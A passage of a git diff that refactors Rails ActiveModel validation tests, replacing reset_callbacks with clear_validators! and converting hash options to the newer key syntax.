-    Topic.reset_callbacks(:validate)
-    Person.reset_callbacks(:validate)
-    CustomReader.reset_callbacks(:validate)
+    Topic.clear_validators!
+    Person.clear_validators!
+    CustomReader.clear_validators!
   end
 
   def test_validate_absences
diff --git a/activemodel/test/cases/validations/acceptance_validation_test.rb b/activemodel/test/cases/validations/acceptance_validation_test.rb
index de04e11..e78aa1a 100644
--- a/activemodel/test/cases/validations/acceptance_validation_test.rb
+++ b/activemodel/test/cases/validations/acceptance_validation_test.rb
@@ -8,7 +8,7 @@ require 'models/person'
 class AcceptanceValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_terms_of_service_agreement_no_acceptance
@@ -30,7 +30,7 @@ class AcceptanceValidationTest < ActiveModel::TestCase
   end
 
   def test_eula
-    Topic.validates_acceptance_of(:eula, :message => "must be abided")
+    Topic.validates_acceptance_of(:eula, message: "must be abided")
 
     t = Topic.new("title" => "We should be confirmed","eula" => "")
     assert t.invalid?
@@ -41,7 +41,7 @@ class AcceptanceValidationTest < ActiveModel::TestCase
   end
 
   def test_terms_of_service_agreement_with_accept_value
-    Topic.validates_acceptance_of(:terms_of_service, :accept => "I agree.")
+    Topic.validates_acceptance_of(:terms_of_service, accept: "I agree.")
 
     t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
     assert t.invalid?
@@ -63,6 +63,6 @@ class AcceptanceValidationTest < ActiveModel::TestCase
     p.karma = "1"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 end
diff --git a/activemodel/test/cases/validations/conditional_validation_test.rb b/activemodel/test/cases/validations/conditional_validation_test.rb
index e06b04a..1261937 100644
--- a/activemodel/test/cases/validations/conditional_validation_test.rb
+++ b/activemodel/test/cases/validations/conditional_validation_test.rb
@@ -6,12 +6,12 @@ require 'models/topic'
 class ConditionalValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_if_validation_using_method_true
     # When the method returns true
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => :condition_is_true )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.invalid?
     assert t.errors[:title].any?
@@ -20,23 +20,23 @@ class ConditionalValidationTest < ActiveModel::TestCase
 
   def test_unless_validation_using_method_true
     # When the method returns true
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => :condition_is_true )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_if_validation_using_method_false
     # When the method returns false
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => :condition_is_true_but_its_not )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true_but_its_not)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_unless_validation_using_method_false
     # When the method returns false
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => :condition_is_true_but_its_not )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true_but_its_not)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.invalid?
     assert t.errors[:title].any?
@@ -45,7 +45,7 @@ class ConditionalValidationTest < ActiveModel::TestCase
 
   def test_if_validation_using_string_true
     # When the evaluated string returns true
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => "a = 1; a == 1" )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "a = 1; a == 1")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.invalid?
     assert t.errors[:title].any?
@@ -54,23 +54,23 @@ class ConditionalValidationTest < ActiveModel::TestCase
 
   def test_unless_validation_using_string_true
     # When the evaluated string returns true
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => "a = 1; a == 1" )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "a = 1; a == 1")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_if_validation_using_string_false
     # When the evaluated string returns false
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :if => "false")
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "false")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_unless_validation_using_string_false
     # When the evaluated string returns false
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}", :unless => "false")
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "false")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.invalid?
     assert t.errors[:title].any?
@@ -79,8 +79,8 @@ class ConditionalValidationTest < ActiveModel::TestCase
 
   def test_if_validation_using_block_true
     # When the block returns true
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
-      :if => Proc.new { |r| r.content.size > 4 } )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+      if: Proc.new { |r| r.content.size > 4 })
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.invalid?
     assert t.errors[:title].any?
@@ -89,26 +89,26 @@ class ConditionalValidationTest < ActiveModel::TestCase
 
   def test_unless_validation_using_block_true
     # When the block returns true
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
-      :unless => Proc.new { |r| r.content.size > 4 } )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+      unless: Proc.new { |r| r.content.size > 4 })
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_if_validation_using_block_false
     # When the block returns false
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
-      :if => Proc.new { |r| r.title != "uhohuhoh"} )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+      if: Proc.new { |r| r.title != "uhohuhoh"})
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.valid?
-    assert t.errors[:title].empty?
+    assert_empty t.errors[:title]
   end
 
   def test_unless_validation_using_block_false
     # When the block returns false
-    Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
-      :unless => Proc.new { |r| r.title != "uhohuhoh"} )
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
+      unless: Proc.new { |r| r.title != "uhohuhoh"} )
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
     assert t.invalid?
     assert t.errors[:title].any?
@@ -120,11 +120,11 @@ class ConditionalValidationTest < ActiveModel::TestCase
   # ensure that it works correctly
   def test_validation_with_if_as_string
     Topic.validates_presence_of(:title)
-    Topic.validates_presence_of(:author_name, :if => "title.to_s.match('important')")
+    Topic.validates_presence_of(:author_name, if: "title.to_s.match('important')")
 
     t = Topic.new
     assert t.invalid?, "A topic without a title should not be valid"
-    assert t.errors[:author_name].empty?, "A topic without an 'important' title should not require an author"
+    assert_empty t.errors[:author_name], "A topic without an 'important' title should not require an author"
 
     t.title = "Just a title"
     assert t.valid?, "A topic with a basic title should be valid"
diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb
index 814eec3..4957ba5 100644
--- a/activemodel/test/cases/validations/confirmation_validation_test.rb
+++ b/activemodel/test/cases/validations/confirmation_validation_test.rb
@@ -7,13 +7,13 @@ require 'models/person'
 class ConfirmationValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_no_title_confirmation
     Topic.validates_confirmation_of(:title)
 
-    t = Topic.new(:author_name => "Plutarch")
+    t = Topic.new(author_name: "Plutarch")
     assert t.valid?
 
     t.title_confirmation = "Parallel Lives"
@@ -49,7 +49,7 @@ class ConfirmationValidationTest < ActiveModel::TestCase
     p.karma = "None"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_title_confirmation_with_i18n_attribute
@@ -57,8 +57,8 @@ class ConfirmationValidationTest < ActiveModel::TestCase
     I18n.load_path.clear
     I18n.backend = I18n::Backend::Simple.new
     I18n.backend.store_translations('en', {
-      :errors => {:messages => {:confirmation => "doesn't match %{attribute}"}},
-      :activemodel => {:attributes => {:topic => {:title => 'Test Title'}}}
+      errors: { messages: { confirmation: "doesn't match %{attribute}" } },
+      activemodel: { attributes: { topic: { title: 'Test Title'} } }
     })
 
     Topic.validates_confirmation_of(:title)
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
index 7d5af27..1ce41f9 100644
--- a/activemodel/test/cases/validations/exclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -7,18 +7,18 @@ require 'models/person'
 class ExclusionValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_validates_exclusion_of
-    Topic.validates_exclusion_of( :title, :in => %w( abe monkey ) )
+    Topic.validates_exclusion_of(:title, in: %w( abe monkey ))
 
     assert Topic.new("title" => "something", "content" => "abc").valid?
     assert Topic.new("title" => "monkey", "content" => "abc").invalid?
   end
 
   def test_validates_exclusion_of_with_formatted_message
-    Topic.validates_exclusion_of( :title, :in => %w( abe monkey ), :message => "option %{value} is restricted" )
+    Topic.validates_exclusion_of(:title, in: %w( abe monkey ), message: "option %{value} is restricted")
 
     assert Topic.new("title" => "something", "content" => "abc")
 
@@ -29,7 +29,7 @@ class ExclusionValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_exclusion_of_with_within_option
-    Topic.validates_exclusion_of( :title, :within => %w( abe monkey ) )
+    Topic.validates_exclusion_of(:title, within: %w( abe monkey ))
 
     assert Topic.new("title" => "something", "content" => "abc")
 
@@ -39,7 +39,7 @@ class ExclusionValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_exclusion_of_for_ruby_class
-    Person.validates_exclusion_of :karma, :in => %w( abe monkey )
+    Person.validates_exclusion_of :karma, in: %w( abe monkey )
 
     p = Person.new
     p.karma = "abe"
@@ -50,11 +50,11 @@ class ExclusionValidationTest < ActiveModel::TestCase
     p.karma = "Lifo"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 
   def test_validates_exclusion_of_with_lambda
-    Topic.validates_exclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
+    Topic.validates_exclusion_of :title, in: lambda { |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
 
     t = Topic.new
     t.title = "elephant"
@@ -66,7 +66,7 @@ class ExclusionValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_inclusion_of_with_symbol
-    Person.validates_exclusion_of :karma, :in => :reserved_karmas
+    Person.validates_exclusion_of :karma, in: :reserved_karmas
 
     p = Person.new
     p.karma = "abe"
@@ -87,6 +87,6 @@ class ExclusionValidationTest < ActiveModel::TestCase
 
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
index 308a3c6..0f91b73 100644
--- a/activemodel/test/cases/validations/format_validation_test.rb
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -7,11 +7,11 @@ require 'models/person'
 class PresenceValidationTest < ActiveModel::TestCase
 
   def teardown
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
   end
 
   def test_validate_format
-    Topic.validates_format_of(:title, :content, :with => /\AValidation\smacros \w+!\z/, :message => "is bad data")
+    Topic.validates_format_of(:title, :content, with: /\AValidation\smacros \w+!\z/, message: "is bad data")
 
     t = Topic.new("title" => "i'm incorrect", "content" => "Validation macros rule!")
     assert t.invalid?, "Shouldn't be valid"
@@ -27,7 +27,7 @@ class PresenceValidationTest < ActiveModel::TestCase
   end
 
   def test_validate_format_with_allow_blank
-    Topic.validates_format_of(:title, :with => /\AValidation\smacros \w+!\z/, :allow_blank => true)
+    Topic.validates_format_of(:title, with: /\AValidation\smacros \w+!\z/, allow_blank: true)
     assert Topic.new("title" => "Shouldn't be valid").invalid?
     assert Topic.new("title" => "").valid?
     assert Topic.new("title" => nil).valid?
@@ -36,7 +36,7 @@ class PresenceValidationTest < ActiveModel::TestCase
 
   # testing ticket #3142
   def test_validate_format_numeric
-    Topic.validates_format_of(:title, :content, :with => /\A[1-9][0-9]*\z/, :message => "is bad data")
+    Topic.validates_format_of(:title, :content, with: /\A[1-9][0-9]*\z/, message: "is bad data")
 
     t = Topic.new("title" => "72x", "content" => "6789")
     assert t.invalid?, "Shouldn't be valid"
@@ -63,24 +63,24 @@ class PresenceValidationTest < ActiveModel::TestCase
   end
 
   def test_validate_format_with_formatted_message
-    Topic.validates_format_of(:title, :with => /\AValid Title\z/, :message => "can't be %{value}")
-    t = Topic.new(:title => 'Invalid title')
+    Topic.validates_format_of(:title, with: /\AValid Title\z/, message: "can't be %{value}")
+    t = Topic.new(title: 'Invalid title')
     assert t.invalid?
     assert_equal ["can't be Invalid title"], t.errors[:title]
   end
-  
+
   def test_validate_format_of_with_multiline_regexp_should_raise_error
-    assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => /^Valid Title$/) }
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: /^Valid Title$/) }
   end
-  
+
   def test_validate_format_of_with_multiline_regexp_and_option
     assert_nothing_raised(ArgumentError) do
-      Topic.validates_format_of(:title, :with => /^Valid Title$/, :multiline => true)
+      Topic.validates_format_of(:title, with: /^Valid Title$/, multiline: true)
     end
   end
 
   def test_validate_format_with_not_option
-    Topic.validates_format_of(:title, :without => /foo/, :message => "should not contain foo")
+    Topic.validates_format_of(:title, without: /foo/, message: "should not contain foo")
     t = Topic.new
 
     t.title = "foobar"
@@ -97,19 +97,19 @@ class PresenceValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_format_of_with_both_regexps_should_raise_error
-    assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => /this/, :without => /that/) }
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: /this/, without: /that/) }
   end
 
   def test_validates_format_of_when_with_isnt_a_regexp_should_raise_error
-    assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => "clearly not a regexp") }
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, with: "clearly not a regexp") }
   end
 
   def test_validates_format_of_when_not_isnt_a_regexp_should_raise_error
-    assert_raise(ArgumentError) { Topic.validates_format_of(:title, :without => "clearly not a regexp") }
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, without: "clearly not a regexp") }
   end
 
   def test_validates_format_of_with_lambda
-    Topic.validates_format_of :content, :with => lambda{ |topic| topic.title == "digit" ? /\A\d+\Z/ : /\A\S+\Z/ }
+    Topic.validates_format_of :content, with: lambda { |topic| topic.title == "digit" ? /\A\d+\Z/ : /\A\S+\Z/ }
 
     t = Topic.new
     t.title = "digit"
@@ -121,7 +121,7 @@ class PresenceValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_format_of_without_lambda
-    Topic.validates_format_of :content, :without => lambda{ |topic| topic.title == "characters" ? /\A\d+\Z/ : /\A\S+\Z/ }
+    Topic.validates_format_of :content, without: lambda { |topic| topic.title == "characters" ? /\A\d+\Z/ : /\A\S+\Z/ }
 
     t = Topic.new
     t.title = "characters"
@@ -133,7 +133,7 @@ class PresenceValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_format_of_for_ruby_class
-    Person.validates_format_of :karma, :with => /\A\d+\Z/
+    Person.validates_format_of :karma, with: /\A\d+\Z/
 
     p = Person.new
     p.karma = "Pixies"
@@ -144,6 +144,6 @@ class PresenceValidationTest < ActiveModel::TestCase
     p.karma = "1234"
     assert p.valid?
   ensure
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
   end
 end
diff --git a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
index 302cbe9..93600c5 100644
--- a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -4,35 +4,35 @@ require 'models/person'
 
 class I18nGenerateMessageValidationTest < ActiveModel::TestCase
   def setup
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
     @person = Person.new
   end
 
   # validates_inclusion_of: generate_message(attr_name, :inclusion, message: custom_message, value: value)
   def test_generate_message_inclusion_with_default_message
-    assert_equal 'is not included in the list', @person.errors.generate_message(:title, :inclusion, :value => 'title')
+    assert_equal 'is not included in the list', @person.errors.generate_message(:title, :inclusion, value: 'title')
   end
 
   def test_generate_message_inclusion_with_custom_message
-    assert_equal 'custom message title', @person.errors.generate_message(:title, :inclusion, :message => 'custom message %{value}', :value => 'title')
+    assert_equal 'custom message title', @person.errors.generate_message(:title, :inclusion, message: 'custom message %{value}', value: 'title')
   end
 
   # validates_exclusion_of: generate_message(attr_name, :exclusion, message: custom_message, value: value)
   def test_generate_message_exclusion_with_default_message
-    assert_equal 'is reserved', @person.errors.generate_message(:title, :exclusion, :value => 'title')
+    assert_equal 'is reserved', @person.errors.generate_message(:title, :exclusion, value: 'title')
   end
 
   def test_generate_message_exclusion_with_custom_message
-    assert_equal 'custom message title', @person.errors.generate_message(:title, :exclusion, :message => 'custom message %{value}', :value => 'title')
+    assert_equal 'custom message title', @person.errors.generate_message(:title, :exclusion, message: 'custom message %{value}', value: 'title')
   end
 
   # validates_format_of:  generate_message(attr_name, :invalid, message: custom_message, value: value)
   def test_generate_message_invalid_with_default_message
-    assert_equal 'is invalid', @person.errors.generate_message(:title, :invalid, :value => 'title')
+    assert_equal 'is invalid', @person.errors.generate_message(:title, :invalid, value: 'title')
   end
 
   def test_generate_message_invalid_with_custom_message
-    assert_equal 'custom message title', @person.errors.generate_message(:title, :invalid, :message => 'custom message %{value}', :value => 'title')
+    assert_equal 'custom message title', @person.errors.generate_message(:title, :invalid, message: 'custom message %{value}', value: 'title')
   end
 
   # validates_confirmation_of: generate_message(attr_name, :confirmation, message: custom_message)
@@ -41,7 +41,7 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
   end
 
   def test_generate_message_confirmation_with_custom_message
-    assert_equal 'custom message', @person.errors.generate_message(:title, :confirmation, :message => 'custom message')
+    assert_equal 'custom message', @person.errors.generate_message(:title, :confirmation, message: 'custom message')
   end
 
   # validates_acceptance_of: generate_message(attr_name, :accepted, message: custom_message)
@@ -50,7 +50,7 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
   end
 
   def test_generate_message_accepted_with_custom_message
-    assert_equal 'custom message', @person.errors.generate_message(:title, :accepted, :message => 'custom message')
+    assert_equal 'custom message', @person.errors.generate_message(:title, :accepted, message: 'custom message')
   end
 
   # add_on_empty: generate_message(attr, :empty, message: custom_message)
@@ -59,7 +59,7 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
   end
 
   def test_generate_message_empty_with_custom_message
-    assert_equal 'custom message', @person.errors.generate_message(:title, :empty, :message => 'custom message')
+    assert_equal 'custom message', @person.errors.generate_message(:title, :empty, message: 'custom message')
   end
 
   # add_on_blank: generate_message(attr, :blank, message: custom_message)
@@ -68,71 +68,71 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
   end
 
   def test_generate_message_blank_with_custom_message
-    assert_equal 'custom message', @person.errors.generate_message(:title, :blank, :message => 'custom message')
+    assert_equal 'custom message', @person.errors.generate_message(:title, :blank, message: 'custom message')
   end
 
   # validates_length_of: generate_message(attr, :too_long, message: custom_message, count: option_value.end)
   def test_generate_message_too_long_with_default_message
-    assert_equal "is too long (maximum is 10 characters)", @person.errors.generate_message(:title, :too_long, :count => 10)
+    assert_equal "is too long (maximum is 10 characters)", @person.errors.generate_message(:title, :too_long, count: 10)
   end
 
   def test_generate_message_too_long_with_custom_message
-    assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_long, :message => 'custom message %{count}', :count => 10)
+    assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_long, message: 'custom message %{count}', count: 10)
   end
 
   # validates_length_of: generate_message(attr, :too_short, default: custom_message, count: option_value.begin)
   def test_generate_message_too_short_with_default_message
-    assert_equal "is too short (minimum is 10 characters)", @person.errors.generate_message(:title, :too_short, :count => 10)
+    assert_equal "is too short (minimum is 10 characters)", @person.errors.generate_message(:title, :too_short, count: 10)
   end
 
   def test_generate_message_too_short_with_custom_message
-    assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_short, :message => 'custom message %{count}', :count => 10)
+    assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_short, message: 'custom message %{count}', count: 10)
   end
 
   # validates_length_of: generate_message(attr, :wrong_length, message: custom_message, count: option_value)
   def test_generate_message_wrong_length_with_default_message
-    assert_equal "is the wrong length (should be 10 characters)", @person.errors.generate_message(:title, :wrong_length, :count => 10)
+    assert_equal "is the wrong length (should be 10 characters)", @person.errors.generate_message(:title, :wrong_length, count: 10)
   end
 
   def test_generate_message_wrong_length_with_custom_message
-    assert_equal 'custom message 10', @person.errors.generate_message(:title, :wrong_length, :message => 'custom message %{count}', :count => 10)
+    assert_equal 'custom message 10', @person.errors.generate_message(:title, :wrong_length, message: 'custom message %{count}', count: 10)
   end
 
   # validates_numericality_of: generate_message(attr_name, :not_a_number, value: raw_value, message: custom_message)
   def test_generate_message_not_a_number_with_default_message
-    assert_equal "is not a number", @person.errors.generate_message(:title, :not_a_number, :value => 'title')
+    assert_equal "is not a number", @person.errors.generate_message(:title, :not_a_number, value: 'title')
   end
 
   def test_generate_message_not_a_number_with_custom_message
-    assert_equal 'custom message title', @person.errors.generate_message(:title, :not_a_number, :message => 'custom message %{value}', :value => 'title')
+    assert_equal 'custom message title', @person.errors.generate_message(:title, :not_a_number, message: 'custom message %{value}', value: 'title')
   end
 
   # validates_numericality_of: generate_message(attr_name, option, value: raw_value, default: custom_message)
   def test_generate_message_greater_than_with_default_message
-    assert_equal "must be greater than 10", @person.errors.generate_message(:title, :greater_than, :value => 'title', :count => 10)
+    assert_equal "must be greater than 10", @person.errors.generate_message(:title, :greater_than, value: 'title', count: 10)
   end
 
   def test_generate_message_greater_than_or_equal_to_with_default_message
-    assert_equal "must be greater than or equal to 10", @person.errors.generate_message(:title, :greater_than_or_equal_to, :value => 'title', :count => 10)
+    assert_equal "must be greater than or equal to 10", @person.errors.generate_message(:title, :greater_than_or_equal_to, value: 'title', count: 10)
   end
 
   def test_generate_message_equal_to_with_default_message
-    assert_equal "must be equal to 10", @person.errors.generate_message(:title, :equal_to, :value => 'title', :count => 10)
+    assert_equal "must be equal to 10", @person.errors.generate_message(:title, :equal_to, value: 'title', count: 10)
   end
 
   def test_generate_message_less_than_with_default_message
-    assert_equal "must be less than 10", @person.errors.generate_message(:title, :less_than, :value => 'title', :count => 10)
+    assert_equal "must be less than 10", @person.errors.generate_message(:title, :less_than, value: 'title', count: 10)
   end
 
   def test_generate_message_less_than_or_equal_to_with_default_message
-    assert_equal "must be less than or equal to 10", @person.errors.generate_message(:title, :less_than_or_equal_to, :value => 'title', :count => 10)
+    assert_equal "must be less than or equal to 10", @person.errors.generate_message(:title, :less_than_or_equal_to, value: 'title', count: 10)
   end
 
   def test_generate_message_odd_with_default_message
-    assert_equal "must be odd", @person.errors.generate_message(:title, :odd, :value => 'title', :count => 10)
+    assert_equal "must be odd", @person.errors.generate_message(:title, :odd, value: 'title', count: 10)
   end
 
   def test_generate_message_even_with_default_message
-    assert_equal "must be even", @person.errors.generate_message(:title, :even, :value => 'title', :count => 10)
+    assert_equal "must be even", @person.errors.generate_message(:title, :even, value: 'title', count: 10)
   end
 end
diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb
index 4c01b47..d100105 100644
--- a/activemodel/test/cases/validations/i18n_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_validation_test.rb
@@ -6,37 +6,37 @@ require 'models/person'
 class I18nValidationTest < ActiveModel::TestCase
 
   def setup
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
     @person = Person.new
 
     @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
     I18n.load_path.clear
     I18n.backend = I18n::Backend::Simple.new
-    I18n.backend.store_translations('en', :errors => {:messages => {:custom => nil}})
+    I18n.backend.store_translations('en', errors: { messages: { custom: nil } })
   end
 
   def teardown
-    Person.reset_callbacks(:validate)
+    Person.clear_validators!
     I18n.load_path.replace @old_load_path
     I18n.backend = @old_backend
   end
 
   def test_full_message_encoding
-    I18n.backend.store_translations('en', :errors => {
-      :messages => { :too_short => '猫舌' }})
-    Person.validates_length_of :title, :within => 3..5
+    I18n.backend.store_translations('en', errors: {
+      messages: { too_short: '猫舌' } })
+    Person.validates_length_of :title, within: 3..5
     @person.valid?
     assert_equal ['Title 猫舌'], @person.errors.full_messages
   end
 
   def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
     @person.errors.add(:name, 'not found')
-    Person.expects(:human_attribute_name).with(:name, :default => 'Name').returns("Person's name")
+    Person.expects(:human_attribute_name).with(:name, default: 'Name').returns("Person's name")
     assert_equal ["Person's name not found"], @person.errors.full_messages
   end
 
   def test_errors_full_messages_uses_format
-    I18n.backend.store_translations('en', :errors => {:format => "Field %{attribute} %{message}"})
+    I18n.backend.store_translations('en', errors: { format: "Field %{attribute} %{message}" })
     @person.errors.add('name', 'empty')
     assert_equal ["Field Name empty"], @person.errors.full_messages
   end
@@ -49,10 +49,10 @@ class I18nValidationTest < ActiveModel::TestCase
   COMMON_CASES = [
   # [ case,                                validation_options,            generate_message_options]
     [ "given no options",                  {},                            {}],
-    [ "given custom message",              {:message => "custom"},        {:message => "custom"}],
-    [ "given if condition",                {:if     => lambda { true }},  {}],
-    [ "given unless condition",            {:unless => lambda { false }}, {}],
-    [ "given option that is not reserved", {:format => "jpg"},            {:format => "jpg" }]
+    [ "given custom message",              { message: "custom" },         { message: "custom" }],
+    [ "given if condition",                { if:                          lambda { true }},  {}],
+    [ "given unless condition",            { unless:                      lambda { false }}, {}],
+    [ "given option that is not reserved", { format: "jpg" },             { format: "jpg" }]
   ]
 
   # validates_confirmation_of w/ mocha
@@ -61,7 +61,7 @@ class I18nValidationTest < ActiveModel::TestCase
     test "validates_confirmation_of on generated message #{name}" do
       Person.validates_confirmation_of :title, validation_options
       @person.title_confirmation = 'foo'
-      @person.errors.expects(:generate_message).with(:title_confirmation, :confirmation, generate_message_options.merge(:attribute => 'Title'))
+      @person.errors.expects(:generate_message).with(:title_confirmation, :confirmation, generate_message_options.merge(attribute: 'Title'))
       @person.valid?
     end
   end
@@ -70,7 +70,7 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_acceptance_of on generated message #{name}" do
-      Person.validates_acceptance_of :title, validation_options.merge(:allow_nil => false)
+      Person.validates_acceptance_of :title, validation_options.merge(allow_nil: false)
       @person.errors.expects(:generate_message).with(:title, :accepted, generate_message_options)
       @person.valid?
     end
@@ -90,8 +90,8 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_length_of for :withing on generated message when too short #{name}" do
-      Person.validates_length_of :title, validation_options.merge(:within => 3..5)
-      @person.errors.expects(:generate_message).with(:title, :too_short, generate_message_options.merge(:count => 3))
+      Person.validates_length_of :title, validation_options.merge(within: 3..5)
+      @person.errors.expects(:generate_message).with(:title, :too_short, generate_message_options.merge(count: 3))
       @person.valid?
     end
   end
@@ -100,9 +100,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_length_of for :too_long generated message #{name}" do
-      Person.validates_length_of :title, validation_options.merge(:within => 3..5)
+      Person.validates_length_of :title, validation_options.merge(within: 3..5)
       @person.title = 'this title is too long'
-      @person.errors.expects(:generate_message).with(:title, :too_long, generate_message_options.merge(:count => 5))
+      @person.errors.expects(:generate_message).with(:title, :too_long, generate_message_options.merge(count: 5))
       @person.valid?
     end
   end
@@ -111,8 +111,8 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_length_of for :is on generated message #{name}" do
-      Person.validates_length_of :title, validation_options.merge(:is => 5)
-      @person.errors.expects(:generate_message).with(:title, :wrong_length, generate_message_options.merge(:count => 5))
+      Person.validates_length_of :title, validation_options.merge(is: 5)
+      @person.errors.expects(:generate_message).with(:title, :wrong_length, generate_message_options.merge(count: 5))
       @person.valid?
     end
   end
@@ -121,9 +121,9 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_format_of on generated message #{name}" do
